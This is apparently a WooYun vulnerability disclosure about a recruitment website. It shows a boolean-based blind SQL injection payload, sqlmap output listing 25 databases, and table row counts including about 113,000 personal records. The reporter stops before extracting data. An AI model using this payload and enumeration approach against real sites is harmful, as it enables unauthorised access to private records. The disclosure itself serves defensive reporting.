WooYun.org

1，其实本来是因为泄露了个人的信息，只是没有泄露联系方式和身份证，而且是公开的。。。。。
这个太不尊重人才隐私了。。。

2，不过看到网址，我于是感觉可以注入，于是开始了
注入点：http://**.**.**.**/employer/showdetail.aspx?id=291932
3，注入信息
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=291931) AND 5497=5497 AND (7225=7225
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=291931) AND 5497=5497 AND (7225=7225
---
available databases [25]:
[*] LygfcNews
[*] lygfcw
[*] lygqy
[*] LygrcAd
[*] LygrcBirthday
[*] LygrcCard
[*] LygrcEmail
[*] LygrcFinance
[*] LygrcJb
[*] LygrcKeyWord
[*] LygrcNews
[*] LygrcOrders
[*] LygrcSeach
[*] LygrcServices
[*] Lygrx_xinxi
[*] master
[*] model
[*] msdb
[*] newLygqy
[*] PhoneAssist
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] wljjcw
[*] wlkjhyxx
4，人才库的表和count
Database: LygrcJb
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| dbo.reg_Person | 113199 |
| dbo.qrcode | 92791 |
| dbo.worksite | 30228 |
| dbo.reg_Company | 11165 |
| dbo.UserIP | 5925 |
| dbo.Showperson | 5000 |
| dbo.Showpersonpic | 5000 |
| dbo.cer | 2597 |
| dbo.job_and_company | 1520 |
| dbo.smallwork | 532 |
| dbo.smallworktemp | 532 |
| dbo.newmiddle | 407 |
| dbo.Showcompany | 341 |
| dbo.reg_Train | 217 |
| dbo.smalltrainclass | 96 |
| dbo.sqlmapoutput | 54 |
| dbo.bigwork | 53 |
| dbo.bigworktemp | 53 |
| dbo.train | 45 |
| dbo.Showtrainlist | 40 |
| dbo.indclass | 35 |
| dbo.newbig | 34 |
| dbo.bigtrainclass | 11 |
| dbo.newsmall | 8 |
| dbo.systembasic | 1 |
| dbo.tj | 1 |
+---------------------+---------+
5，大概11万多，我不想继续了，